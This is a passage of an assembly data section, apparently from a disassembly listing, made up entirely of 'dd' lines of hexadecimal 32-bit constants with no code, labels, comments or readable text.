		dd 0D3507D4Fh, 7DEB7C0Bh, 44A28B0h, 6C1CDF11h, 51803688h
		dd 1C700412h, 9AE633ADh, 5C990E50h, 9E5101E1h, 0CCE0F4h
		dd 2B0F9BCBh, 6ADF3219h, 0CA377902h, 40989FF1h,	9275C050h
		dd 0A9040370h, 6D77D544h, 58638D80h, 7A121B09h,	195C019Fh
		dd 64C4E4D0h, 0E698126Fh, 16340860h, 1AA7ECC0h,	605F5801h
		dd 0A7F4B8E0h, 97EA6500h, 32EFBF7Ah, 264B0004h,	7FE557CDh
		dd 0BE2489C0h, 46763859h, 943D1CD1h, 40609C82h,	817C66F6h
		dd 131828B0h, 0BCD00426h, 5A70D82Ch, 5D040A1Bh,	2CDC547Ch
		dd 807E11F8h, 1CDE044Dh, 33448CB4h, 4150050h, 4B3F05E9h
		dd 1B15B5DEh, 2944541h,	19CAE525h, 4A7860B3h, 367580ACh
		dd 843C8C59h, 0C8B7D86h, 0FAC02EC8h, 1F81F75h, 4597554Eh
		dd 66F36AB6h, 0D80C0760h, 9FC2F99Ch, 180048CEh,	2F7F2D6h
		dd 0F52BD97Ah, 0E0A00314h, 0C09C8302h, 0E573DF15h, 6F700B8h
		dd 307B3635h, 42F902D1h, 604471ECh, 7010CCACh, 0E870F34Ch
		dd 65008C0Dh, 625EDE1h,	0ECA0E258h, 35EB0983h, 50490F34h
		dd 0EED7F1ADh, 3E027C66h, 0E9C6AA6Bh, 16D446E8h, 61E0784Ah
		dd 0ECA6DD18h, 448CF4EAh, 0D5008E5Ah, 0EA0ECCA6h, 0AAFCF7Ch
		dd 12F51E71h, 848B9D4h,	7B8C2FECh, 87290009h, 5533E913h
		dd 1B12069Fh, 0C4146EAh, 7751E802h, 6C208021h, 0A86A58C5h
		dd 0F9C01388h, 460125A7h, 1932217h, 60A7E185h, 208D892Eh
		dd 1F0312B1h, 95C001ADh, 4960058Ch, 0D16C35ECh,	26A54B18h
		dd 1AF0623Ch, 0DF200093h, 0BB02F4E6h, 71BAE03Eh, 7D0468EAh
		dd 96D012D3h, 32DC307Eh, 10263C6Bh, 4F5098EEh, 0D75C3335h
		dd 9B8D9918h, 328FC3E4h, 0D4C2F8DCh, 0E06E0AF9h, 43C4C675h
		dd 0C1BD9FF0h, 28696568h, 8C0DEC08h, 72B35200h,	81DE6537h
		dd 8CC30212h, 6F83DEBh,	0F30F9059h, 45B769DBh, 609CE474h
		dd 0DCB35Dh, 80F9197h, 0D9BB5515h, 777A6600h, 714E61BFh
		dd 0F100916Bh, 0F21891h, 0AC297322h, 68C11087h,	0FDFAA4A8h
		dd 0D1A5EF00h, 0C7F08A90h, 5E580001h, 42763D61h, 0BCA250EBh
		dd 0C32A9C82h, 0BAA6D718h, 58489660h, 0A600CFF8h, 774934EDh
		dd 6D1EB53h, 710661E3h,	8102C8BEh, 0A1441BDBh, 0FC285A66h
		dd 0EEB894BDh, 23B03A32h, 10160021h, 0CD255CDFh, 0E78E4A00h
		dd 4E1AA355h, 42CC00D5h, 0E43287B4h, 5E581451h,	8CD4BC30h
		dd 0E1C1DA3Eh, 0E478B8F1h, 0B12EDC8h, 0F2980928h, 0A0371CB2h
		dd 44146380h, 20F43A8h,	0DF9FC3EEh, 70602CE1h, 302C1F25h
		dd 35E96CF7h, 0F1868744h, 0E5A760B1h, 0D303788Dh, 7F191214h
		dd 99702A7Bh, 0A00204D8h, 0B059CF91h, 0CCA1E4F8h, 84E1831h
		dd 4C1CD304h, 254037C4h, 8F8D0416h, 4F424300h, 0C5EA7A9Ch
		dd 7CE35D4Ch, 2FB22842h, 7744330h, 0ECBD8B8Ch, 0C8FB80BEh
		dd 98914F9Fh, 3FDA8E0Eh, 0FE101D86h, 27259868h,	0FC801513h
		dd 4E602E02h, 0C7920119h, 8224111h, 0BA300FF2h,	327DD0h
		dd 80C159DBh, 15EAB0C0h, 0D9AC34E9h, 0D3096EF4h, 1D5D9F18h
		dd 819C11E4h, 8645491Ah, 0EE06E4h, 2BC58193h, 0CD72C868h
		dd 0D11DF80Fh, 48889256h, 9F200E11h, 0D7A0EF31h, 98FF0B99h
		dd 0D188550Fh, 0A1400F2h, 125D7B35h, 222EE87h, 0A20B8D18h
		dd 72A05C41h, 8B212C54h, 0ED3E0C07h, 0E01033EBh, 287B9992h
		dd 20E8263Dh, 724B0DC8h, 0A79EB040h, 501BC25Eh,	302847h
		dd 0E549652Ch, 88AF4B2Bh, 0E7CFB1C3h, 468CF0A3h, 588600B3h
		dd 0EA844857h, 0A12449Eh, 105F6961h, 80ADE40Bh,	1BCB39EDh
		dd 9BDE266Fh, 1CFF392Ah, 1217D226h, 0E9E4CCD9h,	80F4425Ch
		dd 0F97FAAD4h, 0C13809DCh, 9C6D3B64h, 19608B64h, 0CE170F3Fh
		dd 3C6180CCh, 0C3DC475h, 42F51D09h, 1E24063h, 722A5C64h
		dd 4D0098FEh, 8C1CB7B9h, 0B41323h, 0D1F97CBFh, 0E241A721h
		dd 4838110Bh, 0E10C8793h, 9C467CF8h, 20599100h,	0FC64687h
		dd 0DF16E800h, 0B8D59FF1h, 60A0F01Eh, 44FC318Eh, 87008881h
		dd 6C9CFD3Ah, 0FA93D3h,	0DD1B03BCh, 0C09FED41h,	94449CA7h
		dd 80F07D63h, 672C7A43h, 0C50978DDh, 0E574A023h, 2AF918CAh
		dd 49037FCh, 5531E67Eh,	2CF4B3C9h, 53F6CD7h, 0DC6AD1ECh
		dd 3310C004h, 0F42E0Ah,	0DB255B27h, 0F3BBE6Bh, 6F42892Bh
		dd 0A0A1801Fh, 9A3A529Ah, 3C8909D8h, 640407E0h,	0AA3383E3h
		dd 1DEB1804h, 0B8C8AFD8h, 11048C32h, 141CD204h,	587780CEh
		dd 0EC0A4C19h, 4080CA57h, 6E4E2F93h, 12831000h,	0D9F21C6Ch
		dd 0AA0C000Bh, 803C2A5Ah, 0C801A965h, 1F4BAD4h,	0B07581B8h
		dd 0E5E79C8h, 0C82BBCD5h, 0E2F7BD82h, 9471C459h, 56EEC518h
		dd 0BC8961EBh, 601504E8h, 98B3A178h, 4D3036A2h,	939D181Ch
		dd 1D4F5092h, 0A8D3802Ah, 87FA6518h, 0F3181519h, 3E61E100h
		dd 688BE924h, 0D499DE13h, 95BC9068h, 12F2128Ch,	0B1280679h
		dd 0E7015867h, 2EEB30DAh, 283D1FFCh, 0EA327802h, 0E980D6B3h
		dd 0E4627542h, 0E8637424h, 7C41A0Eh, 621B61E8h,	0BE144ED8h
		dd 4600D420h, 44AFEACEh, 2D9C94E5h, 9801BDDFh, 83E2118Eh
		dd 193E7699h, 0C68272Dh, 431EC090h, 68D1AD6Ah, 0D1F3A0Bh
		dd 37C9E8D8h, 409F8C24h, 0C8008CE9h, 0B4161E7Dh, 15D5AF31h
		dd 0B00A5686h, 0E1288D80h, 9B013540h, 322E9E53h, 0A078F2D3h
		dd 0A1D12604h, 2390CA21h, 4ED1317h, 0CEF70180h,	0F5B90A90h
		dd 0D2058DA7h, 28A7B181h, 23342B5Ah, 1D823ED1h,	0C2637BC6h
		dd 0DA1E8860h, 741240B0h, 0DC49A13Fh, 2488E502h, 617800BFh
		dd 29C84008h, 75076A09h
		dd 2A88C8FFh, 0D13A259Eh, 8186C80h, 0E2521E01h,	3195F2F4h
		dd 4A5CED93h, 0B8D4489Ch, 0E398C96h, 938B84EFh,	0A8B08C3Ch
		dd 3AAB16F0h, 0A23465DDh, 33FD004Ch, 5CD97958h,	0E40F002Ch
		dd 877EEC6Bh, 520BC1DAh, 8FF2CE74h, 983DAA50h, 0B7EBF304h
		dd 9CBCB8ACh, 88BC0E8Ch, 5C415368h, 0C857CD4Fh,	7C0A42FBh
		dd 0CC48B8AFh, 53C4008h, 8022941Ch, 954EF5CCh, 209E80B4h
		dd 5C382461h, 0D4243746h, 0B9E60BDDh, 0E2054CA5h, 17957514h
		dd 807491A8h, 34B12F25h, 32430275h, 0F76BB285h,	26BE0C68h
		dd 1773792Dh, 8096917Ch, 685FF01Bh, 0DA7C0211h,	37FF1271h
		dd 0D8E0144Ch, 0C0655D32h, 47BC549Ah, 8C79C202h, 0C46A1C54h
		dd 7595465Ch, 189819FEh, 42B41D59h, 3190E264h, 0ABC0604Eh
		dd 992E748h, 14942AADh,	4B2504B8h, 97C0C4C2h, 7A407F00h
		dd 914344D4h, 0F3C1BD04h, 0DCE3F868h, 57F9A900h, 31CD5A07h
		dd 40A01E5Ch, 0A52D1A10h, 5910BA4Eh, 18D359ECh,	150F689h
		dd 3E0CDAFCh, 4C9C2076h, 0F893E1B4h, 2D4FE370h,	0A4A0C161h
		dd 0E557C819h, 5583F417h, 6B479802h, 9ABF41CEh,	5BE87C3Ch
		dd 0E379018Ch, 62DFEED2h, 21C1DC06h, 0A5100113h, 4243A080h
		dd 2E44055Eh, 0CC08C5F6h, 58C3758h, 1CD10410h, 0E48E5Ch
		dd 8804182Bh, 631D5h, 91873337h, 51AAF10Fh, 0C3322BEAh
		dd 40D299CDh, 7C6DF464h, 0ACAA009Fh, 25496503h,	0D5F4EBDEh
		dd 0DC40604Ah, 86479C0Dh, 2C3000BDh, 0AF3E2879h, 414BC5FEh
		dd 9D235C20h, 3AEB00D7h, 2BE87545h, 74075C9Fh, 8CC150CDh
		dd 64A4FDD0h, 1CEC2414h, 4AF90334h, 0D3F21538h,	9A00CC7Ah
		dd 0F89E39BAh, 9CD1BD8h, 9C0A05Ch, 846A025h, 65690490h
		dd 602264A0h, 2D1D2972h, 0AC8010C1h, 7665D801h,	0EA1960C5h
		dd 3CACA084h, 248C0FBCh, 40B268h, 0CB77FC75h, 0EC0E42B6h
		dd 8357FB49h, 41D5035h,	0FE5299E8h, 47BC80A8h, 70010439h
		dd 651CAA6Ch, 403D9562h, 0C0C0F410h, 0EA2EA6D1h, 58B0B4D4h
		dd 0A607C982h, 6A53C166h, 1F19CF96h, 85A4F92Eh,	0D09D60E8h
		dd 0E5406630h, 0CA262D07h, 7DBEF4FAh, 5508E865h, 0F2100F5h
		dd 1FC5B928h, 0FE0001DFh, 0DAD646C4h, 28104725h, 54986709h
		dd 64380D8h, 686A73ECh,	48E279C1h, 0D1D652F8h, 0BF88E48Eh
		dd 6BAB8CC0h, 0C39C381Ah, 71391004h, 0E890B859h, 11048CD4h
		dd 0A0C5ED30h, 8D1F6CD0h, 14D5B3Eh, 9D64BB70h, 84412B07h
		dd 0B6B8C00Ch, 600E7870h, 64D19994h, 0DF2677FEh, 82803478h
		dd 39C4B4DBh, 0C1EB7933h, 60311CC8h, 0ED4C246Bh, 0CB046925h
		dd 0CC838594h, 74008468h, 7DB0C3D2h, 0EA35B40Bh, 7EDCC8A7h
		dd 0EB0113CBh, 0D88CC051h, 7A03FA1Dh, 26B6C165h, 7D89C90Dh
		dd 0F79AA084h, 0CE29804Dh, 0BE034037h, 6456176Dh, 90B0FCAEh
		dd 0C1A4384Eh, 9992A880h, 0E4D2FB0Fh, 81F48F01h, 0CE42DF9Ah
		dd 0E80C4086h, 3C04F9DEh, 0E5FCFBA8h, 0DB911E04h, 1DB9C080h
		dd 7B4544h, 2C579D52h, 0B361F90Eh, 388FBC14h, 0F80D09CCh
		dd 0C3900709h, 4E40C726h, 8858CB5Fh, 8C1BC0D1h,	0A20431E6h
		dd 3461D30Fh, 27A000D7h, 0C42C63h, 2224D64h, 295B4C0Ah
		dd 4770D41Dh, 3C3A4897h, 8F00BD23h, 0A7B54D6Bh,	0F457FFCAh
		dd 607F2CF2h, 7990C340h, 83795ECh, 12A29A0Ch, 0F0F9000Ah
		dd 6480F62Ah, 809D2106h, 0E1177F70h, 903D2741h,	0B59A1C60h
		dd 0F6CF5A0Eh, 0CC30049Fh, 13E3ECF0h, 919DFE65h, 3EF6448Ch
		dd 0ADE6F830h, 0E8009FCEh, 1B22EB38h, 0DD203453h, 7D8BF8D1h
		dd 2F915817h, 0B38CB481h, 0BC0EC0FBh, 3ABD217h,	507888h
		dd 13B8CA12h, 0B33C14A9h, 38A07802h, 0F1BA6461h, 18D37904h
		dd 0F0FC1303h, 0C39408F4h, 1E71D080h, 6753AA8h,	60039E2Bh
		dd 8601A93Bh, 4BFEC055h, 70C84D87h, 12F30023h, 9B3D6566h
		dd 0A28F51Eh, 25258CE6h, 9A4CA163h, 618771DEh, 0B0375E10h
		dd 0E04AB8CDh, 0C3980A00h, 395D613Fh, 59B7E6F4h, 30B9687Dh
		dd 70F85BB2h, 5AF5BC13h, 4A051080h, 99F73A3h, 7559100Dh
		dd 0DD9CC59h, 1907E818h, 922A21DBh, 0E98BCBD0h,	81170206h
		dd 6860532Eh, 6F98A02Eh, 0C17D5Ah, 22BA2439h, 483FC5D2h
		dd 0B5384701h, 84B11307h, 1FA6834h, 1C68EC18h, 3CE164E4h
		dd 8C9CB818h, 21031A00h, 9689DF9Eh, 0ED725A0h, 9BE290C0h
		dd 1CEC122h, 9DC4185h, 64926133h, 4A017784h, 0DF05485Ah
		dd 0C044DE15h, 5A88BCCEh, 0DBEEA7C0h, 79E80046h, 0A569F18Dh
		dd 9D3AC29Fh, 0C574934Fh, 9788248Eh, 302EEDC0h,	306052Dh
		dd 0E5C769C0h, 0D69420E8h, 0F2B7D4A8h, 0C9D5BC1Fh, 6B20E540h
		dd 0E755B37h, 76B09966h, 6AC84BE3h, 68820D5h, 21079E80h
		dd 467012Dh, 77983D91h,	60728C60h, 3EC1591Dh, 0E278731Bh
		dd 2C54470Eh, 0E80D20E7h, 9C4835E9h, 12F91200h,	0C8488BC4h
		dd 6FEAC095h, 4FE2423Ch, 0C07B5B26h, 0CD666904h, 1106858h
		dd 49279CB9h, 2E6A4A30h, 75A23D4h, 0F093E8BAh, 0FBBD705Dh
		dd 1606D9B8h, 8302F51Ch, 0D271F58h, 0C4E613B8h,	0AC98FD74h
		dd 27CC7814h, 8C177D4Bh, 0B8802C11h, 2A33106Bh,	60F7C00h
		dd 89ED78BEh, 6184A17Eh, 0D1E28073h, 0E0237930h, 172D2E14h
		dd 0D0692740h, 1D6479C3h, 0C18033F5h, 0D4F0C0E6h, 619F39DDh
		dd 72700CDAh, 4A029A31h, 99CA6D42h, 20DC78AEh, 4708AC8Ah
		dd 1F09843Dh, 693070AAh, 794AEA62h, 82034802h, 4B23429Ch
		dd 15C0D904h, 7E1C016Bh, 602E213Eh, 0E8FEF86Ch,	389E04BAh
		dd 0F465Eh, 2E4F9FD1h, 325275Dh, 68CC9EB2h, 0C94BCBC4h
		dd 21C8DCCBh, 0B911BDC0h, 903E015Ch, 0FCA88B02h, 4679811Ah
		dd 11AA4D25h, 5EF096C9h, 53AF00EFh, 0D8FBF1D2h,	2C90A86Bh
		dd 3275E93Ch, 0D67C5954h, 22465C48h, 0AEF8CC00h, 651C86CAh
		dd 0C0811228h, 0B009AF24h, 19D77A82h, 0A0AC80C0h, 98AAFF4Eh
		dd 5E5CBA44h, 33C6BE1h,	33E4BF02h, 4CCAC068h, 0B03417C2h
		dd 17DC4804h, 40C8ED6Bh, 526424F0h, 0B8146602h,	7AC1FBE7h
		dd 0D65601F0h, 49E8A4FAh, 355DE473h, 37B53000h,	3EFE47D1h
		dd 61680904h, 0E04089F6h, 6502D2D8h, 0E5704FB8h, 280E2938h
		dd 6876C9h, 9D9599F7h, 827491F8h, 0F0366937h, 0BD412008h
		dd 0EB2086FAh, 4ED82DC5h, 0FCDF3868h, 26C144A0h, 0B98D9E0Eh
		dd 0CF1CA522h, 9B820B9h, 812DA100h, 2E759B0Bh, 76C63E9Eh
		dd 1130E424h, 4D2A1D58h, 0D2841504h, 37EC58F8h,	2819058Ch
		dd 91C83A9Eh, 791F8ED8h, 0B5660F7Ch, 5397C0C7h,	481DE8A9h
		dd 0DE123CCDh, 9F3040B4h, 5DB6B28h, 0B1716A26h,	0B0A3C612h
		dd 0A47A0622h, 91541797h, 2799802Ch, 23FAEBAh, 35751FB2h
		dd 14735E73h, 1442BA58h, 70CD7EECh, 400DF040h, 0A64A0268h
		dd 0C233C2Fh, 36619800h, 2BE2B90h, 0A681534Fh, 647B44AFh
		dd 128CC370h, 30FED614h, 0A411562Ch, 2DCFE704h,	94BDC577h
		dd 0DF8FEB8h, 0E6A0530Eh, 81E802C7h, 3CE8805Dh,	30B801FFh
		dd 5410BFE5h, 9428032Dh, 0B6099819h, 50D1079Fh,	9EC0F0F4h
		dd 6768514h, 8E8CF099h,	3931DA01h, 0A2FECC15h, 21E87468h
		dd 5265098Ch, 2C094697h, 0F7048FBh, 0BA550056h,	0D740D082h
		dd 0AD1C488Fh, 86C91EE8h, 0B5483290h, 2D1F8098h, 0E68F222Fh
		dd 8C00184Fh, 9C8D067Eh, 0D184A3C7h, 3C324990h,	0A230BEF2h
		dd 50574985h, 0DF8904Ch, 54F038Ch, 45778E90h, 0FD523E98h
		dd 91F96808h, 545B02E9h
		dd 0F0F680EAh, 0E8843B14h, 17008C2Dh, 2B4C1AC4h, 9AA66EEh
		dd 0CAA01DD8h, 5C0C207Ah, 88DA77ABh, 4C46031Eh,	75E2622Ch
		dd 0D9497C98h, 0C3C0A416h, 9123583Ah, 0AA1EBF03h, 31F5E80Fh
		dd 249A904Bh, 243CD8B4h, 0A8A6083Ch, 83262701h,	546849C7h
		dd 28CBDB8h, 38D974ABh,	7B417845h, 0CD6FC442h, 0C5EA6109h
		dd 0BD94401Ch, 0D07CA890h, 4DAD1DB8h, 8CF54069h, 0BA78EEE0h
		dd 4A30C101h, 211001E6h, 11249878h, 78212B4h, 0B138FC0h
		dd 90DEB412h, 0AFDF00D6h, 4CB72895h, 4218273Ch,	41D1C0F0h
		dd 0A5A89039h, 60D3E428h, 92A9085h, 0CAAA9CD6h,	50F9A020h
		dd 0A82D626Ah, 548A978h, 7C817983h, 6B3F4991h, 319800F0h
		dd 0AF96C42Bh, 348B81Fh, 0D916A2AEh, 0D38A3CCFh, 0C3A68000h
		dd 60E72A8Eh, 394E2C98h, 3346D684h, 2ACC0700h, 9FDAFACAh
		dd 8781DF16h, 80D20C01h, 2F3F043Ch, 18B2328h, 7DC0A12Ch
		dd 2AF8416Bh, 0C246893h, 0A1BCC575h, 0C93C69C3h, 0D2E40045h
		dd 64CB864h, 6A95D803h,	0DF9C7068h, 11CF1878h, 63000305h
		dd 70F95BABh, 283DEC7Fh, 1798D01Ch, 0E00265D1h,	0B20EBF38h
		dd 61ECB538h, 95B78C54h, 65A2002Dh, 0DFE3B0FAh,	988B62A3h
		dd 85C83059h, 0C17F299h, 5CF234B2h, 7A9730h, 51A4C76Ah
		dd 94F548CAh, 1AB03C13h, 827A2091h, 0BD88304Eh,	0ED7909C0h
		dd 0DF580310h, 7174E1F0h, 0AC74BD9Ch, 300E0279h, 0BC35DF9Eh
		dd 89B80C03h, 9C70A5FFh, 9A70068Dh, 3983CAE8h, 0F2BB6500h
		dd 0EFAD136Bh, 3390021Eh, 1C39EC6Eh, 0C9D9CC8Ch, 0E189446Bh
		dd 2F3A3ACCh, 972330h, 12C0BE56h, 0DA1E8F53h, 6B5C4339h
		dd 0E8B28500h, 0C08EF265h, 0F9717E70h, 3E172D18h, 0A0C4BD2Ah
		dd 0D188C8CEh, 0D607BCC0h, 0A2F424D7h, 0E530083Ch, 9DF36906h
		dd 0D17891C8h, 126C18D4h, 0E2B1DBE1h, 0E67E05E8h, 48D72325h
		dd 731E066h, 59574219h,	0DC0B4981h, 6D40A0F0h, 77FBEA70h
		dd 66381269h, 0A27CE307h, 13F2302Dh, 20445800h,	8F06B569h
		dd 623494E5h, 10E09081h, 39281ECFh, 6112A8EBh, 8CA815F6h
		dd 0D984E129h, 700A18D0h, 0AC5EAE7h, 31910661h,	0D29C0128h
		dd 2E3DA07Fh, 715F600Bh, 19D271FCh, 28E73DCCh, 1E9B72F9h
		dd 59C4218h, 0F8C5B8F8h, 8C96E82Ch, 29A163Ch, 0B01C8A95h
		dd 94E4490Ah, 5BA29C73h, 862F033h, 9026009Fh, 206DBA95h
		dd 8559A001h, 4EE804B4h, 0C88086A1h, 9E1DA260h,	917E587Ch
		dd 91409D95h, 2FD6812Dh, 32F02854h, 0A08904AFh,	28CED10h
		dd 78990666h, 24F5B8Ch,	0EE118E54h, 1810FC68h, 0A1C08309h
		dd 0E7D8A164h, 3B3A2E75h, 18B2354h, 0DDC002CDh,	0A4818975h
		dd 5C5078h, 6CEADA8Eh, 0BA656A52h, 6F0AE0B2h, 0C4E2B434h
		dd 5ADE502h, 98B07050h,	275099B4h, 2BC0104Dh, 0DB22C54h
		dd 0E3CA95E0h, 91B8C0A9h, 6444704Fh, 236E733Eh,	3A700097h
		dd 60804E99h, 80BE7894h, 2B5A6604h, 0C2A3CAF2h,	0AA100631h
		dd 285FCC6Bh, 0C3004C7Ah, 60D70128h, 1D09F679h,	3DA20C80h
		dd 32820024h, 0D59422EAh, 83240102h, 216AE9D8h,	0A7997E64h
		dd 0CA300350h, 68D1018Ah, 0FEB08C85h, 0F23D302Dh, 976E5800h
		dd 0A6AAE7D0h, 32CA0155h, 64694405h, 0C2B4543Eh, 0D230F598h
		dd 0EA4F10A6h, 0CA81E0DCh, 3BD501A6h, 3EEBD4E7h, 3DC03599h
		dd 0EFDCB93Ch, 7F5104D9h, 0FC1B5243h, 0F4080C8h, 0F484A2FDh
		dd 5611004Eh, 0BA1C9E60h, 0DB58D550h, 0DE433988h, 5B4A7409h
		dd 0A8595860h, 462FD1Fh, 0AA991E82h, 51A4E0CAh,	1DF88C0h
		dd 6025DC92h, 7E9842E2h, 2C465E38h, 0CA6A047Ah,	82E76EC5h
		dd 0B208984h, 0FA60FCh,	0B682AF97h, 4765B869h, 0E26CD817h
		dd 0E80B4B05h, 73F28CE2h, 60FCC132h, 0B8008C7Dh, 9F54FF43h
		dd 0DF3CA08Fh, 0C5EA8971h, 0C69C60C4h, 0D0495DB9h, 0D70FFAB8h
		dd 6001816Fh, 694E6E0Ch, 9890A40Dh, 0A13A3BF4h,	0F05AC192h
		dd 505ADE30h, 2E23082Fh, 0EC0E2128h, 652FA4F9h,	80F8C642h
		dd 5F3FC980h, 9F27A187h, 0C5A432DEh, 60D0C45Ch,	2E6B9D21h
		dd 132C8C12h, 268E0D9h,	0A42FA64Bh, 0F501D523h,	0B435ECF4h
		dd 0AB54022Fh, 9C4DC3C0h, 0BEB0D7E0h, 73BE5ADh,	4B772EF4h
		dd 0D511D09Dh, 8CFCA880h, 0D84E143Ch, 3F2D6840h, 18F46424h
		dd 31D9EA8Fh, 0FCA86BDEh, 0E3009B31h, 0D8752139h, 7A6DAAFAh
		dd 3300B1Fh, 7C655482h,	0E16070E4h, 0C412F9C1h,	4C124FD7h
		dd 1862208Ah, 0FC51E4F8h, 11641769h, 2C895Bh, 4EAE94FAh
		dd 0DE6D01C4h, 0F29CD829h, 88423FD2h, 0CDC1Dh, 25C7FB4Bh
		dd 0B594DB01h, 52C41BA6h, 40411830h, 0CB42D75h,	0E8582611h
		dd 2D8CD5E8h, 748AEB44h, 0C467434h, 8FFD6800h, 0D7ED33E4h
		dd 4219DF01h, 0F1394578h, 0BCC0312Ah, 0A71D001Fh, 823E2D68h
		dd 7C545C89h, 0F13F0BDCh, 0D051A233h, 0FD189479h, 55BC4709h
		dd 8944C05Ah, 0F51C0B57h, 80E18B0Ah, 223C1081h,	0D2C300BDh
		dd 5A0A9028h, 4E2561F3h, 0A29CE029h, 40DB0D63h,	28C064F8h
		dd 8C91BCE4h, 6C1F8800h, 1512C6A2h, 34640913h, 8C58D474h
		dd 0AC53F14Fh, 0BEF280A2h, 9E27230h, 3F9DBC96h,	0D09C5058h
		dd 60E46DA5h, 0ADA8D87h, 280412F2h, 0FCF28835h,	8AC6D0F0h
		dd 59449067h, 43D09260h, 2DA8848h, 0DF9F8B15h, 807CFC41h
		dd 0C6A911Ch, 0CC9EFF98h, 18A8ABC4h, 8CEEF8h, 646A3910h
		dd 81464EE7h, 2863C9F1h, 5A3858E4h, 9C887CCFh, 0AED0A6C0h
		dd 0F13E00CAh, 28394AE7h, 17279D1Ch, 3D5C839Fh,	22EAEC2Ch
		dd 0D06920h, 91F0979Fh,	0FE318096h, 90786A87h, 0FBA4506Ch
		dd 0A0919557h, 0AFB85189h, 0CD39A5A0h, 9736C098h, 0D00AA59h
		dd 29BA1003h, 78A81E84h, 0C221FF9Eh, 23282F6Bh,	0E2370192h
		dd 0FCBB6FCCh, 2E3D0319h, 78528E3Fh, 90D1E07Bh,	0A89D1006h
		dd 4C656D0h, 0EC455A8Fh, 0BC3BEA72h, 7B005923h,	4DAD1609h
		dd 0FB9112CFh, 1DA0CB69h, 4F200210h, 0C8CD0C1h,	56039E01h
		dd 0F2DC3FCh, 0D2E8C325h, 8004728Bh, 2ED80224h,	44F4C215h
		dd 708C5789h, 8F70B4DEh, 0D127709Ch, 0E787F08Eh, 0A8756215h
		dd 9A35A016h, 60B64464h, 241CEDB0h, 43777900h, 0EA6887F0h
		dd 0F6FB01D8h, 0CFE5267Eh, 1A44F4F1h, 1C41053Ah, 1006875Bh
		dd 17A8CE5Dh, 0A14D0664h, 822C4744h, 790B78CBh,	0ADE582F8h
		dd 41099FD6h, 3E3E91ECh, 2EE23C8h, 74FBC926h, 41479CE1h
		dd 12BE7DB4h, 2488E3Eh,	0A29421B8h, 78B507B4h, 0B0824A50h
		dd 7C92173Ch, 9044E8A7h, 0B16E6760h, 5CD87B02h,	0F652AD1Eh
		dd 0DEB0168h, 2AA15F25h, 2D23443Ah, 0A9E8A303h,	8154C050h
		dd 0C88F4A98h, 0F62F768Ch, 54100909h, 0F5101700h, 19CC01A8h
		dd 0C2E80273h, 0E8B788h, 0FC99E555h, 960C06D0h,	0E0E2F0B7h
		dd 419740A2h, 79AC3D10h, 44D89A0Eh, 2648073h, 694871C0h
		dd 3A6D820Ch, 976811C9h, 986FE92Ah, 11802F3Bh, 2B90A880h
		dd 0A35A1DD9h, 0E67E7430h, 0B421B591h, 0AF5CB9E8h, 683788h
		dd 6B70148Eh, 3002DC94h, 3E618B64h, 6D449DDh, 2ABBD0E7h
		dd 60414827h, 308C0CBCh, 0CE188E54h, 670E7E2h, 42C26901h
		dd 677351AAh, 1980403Eh, 0AF66E96Fh, 3643400h, 0CE10C957h
		dd 94A7024h, 4C7467B9h,	2D481700h, 0D61271F9h, 1CB460D9h
		dd 6C6B0112h, 520AF07Eh, 0C5EFC094h, 0E3C25901h, 0B5D32257h
		dd 78704AC1h, 199640F6h, 0ABF1D900h, 29E41260h,	628F1CC3h
		dd 29F06892h, 4ACCFC9h
		dd 9495D8A0h, 15C00238h, 1004C937h, 0DA4E7621h,	0CF13D456h
		dd 9C2CA4E1h, 2434C104h, 0DAA8A4E8h, 2D4FA940h,	6CC0983Dh
		dd 53209D1Fh, 20909893h, 0D14ED414h, 885B6CF2h,	0FC0F0F18h
		dd 40E62FCCh, 8405BEB4h, 51620074h, 0BBB18930h,	9CAA40DCh
		dd 5F4BC07Ah, 0F4C0BC9Ah, 34F175A3h, 0D76CA101h, 8F781C9Ch
		dd 6C24DF61h, 0A17761C1h, 0FA695576h, 2E90F6C3h, 7F0AE35h
		dd 0CAFBE307h, 0EC94EAA7h, 0BF838B0h, 5FBAF79Dh, 7CDE34A9h
		dd 129702D6h, 744F2A01h, 911266E3h, 94A818E9h, 0ACCF3481h
		dd 0B35CF408h, 0D7FC9B18h, 50CDE1h, 0A6C510A8h,	0A427F4C2h
		dd 6BC1F4FDh, 0AC386F00h, 49F33ACDh, 2D3C99DFh,	92911417h
		dd 42831080h, 7504D0FBh, 593934A8h, 23A42FEFh, 30440133h
		dd 0D452AEBBh, 3022E34h, 71DE61CBh, 3D086584h, 8876AAh
		dd 63C9CBE4h, 0F10AA7FBh, 80F87D3Fh, 6447F294h,	1622516Ch
		dd 0D34F1A27h, 0DFE0F80Ch, 374A11A8h, 0B7E010F6h, 0E402EDD6h
		dd 3ACA6AB4h, 0B3B041D2h, 0BFB5B0C0h, 400330B7h, 0CD1BE578h
		dd 0C041C13h, 74804336h, 456FDD8h, 0ED4E6054h, 0F32C8920h
		dd 0D86C15C5h, 0F204A292h, 88D1300Ch, 4CC83E03h, 0AC49095Bh
		dd 378C20BAh, 66006E74h, 0B7DF902Ah, 1EB0181h, 6F1A7842h
		dd 30CA3718h, 6AE46538h, 68AF7927h, 0EA3AA170h,	320500BCh
		dd 0CC9FAACBh, 2609AFC2h, 0D6141CDBh, 0E2F709A0h, 95914017h
		dd 5EB9F980h, 355EF660h, 0A07ED001h, 587C9251h,	48CD0ECh
		dd 0CBC4CF86h, 0E9E4811Ah, 0E8182D2Eh, 0D0D90025h, 14840105h
		dd 2726C5A1h, 0E5697CD2h, 61BEE4CCh, 0FCDCD574h, 4049DE1Bh
		dd 0C7588D4Dh, 7C0095BAh, 88EBF78Ch, 92650494h,	3841C950h
		dd 6570987Bh, 0FC48002Ah, 6021C0EFh, 9E2E193Eh,	1868C4C7h
		dd 9DE87707h, 2CA0C3B5h, 0F1962D03h, 60306Ah, 9980D844h
		dd 72EC16C6h, 891030E8h, 0D42B03Ch, 0DD15E309h,	0A072A08Bh
		dd 89845C01h, 2AD98669h, 0E8D8823Fh, 3ED88209h,	0B3ACEABDh
		dd 7B82F8F4h, 18101643h, 188774Eh, 295C19C0h, 64B510E4h
		dd 9FDE9440h, 6BB8EC21h, 730A8067h, 8679C483h, 0DCEA7Ch
		dd 0D71FBC1Bh, 4F9C5848h, 8E0B1891h, 4B985A10h,	40305DDEh
		dd 8267C24Dh, 2200B0F3h, 198E03F7h, 4F6AD834h, 2E0C409Ah
		dd 22A1DD30h, 69EBDE00h, 5868CC8h, 12709387h, 250309Ah
		dd 896285D8h, 90C2A018h, 0AD2F8F8h, 39491682h, 2CFC2184h
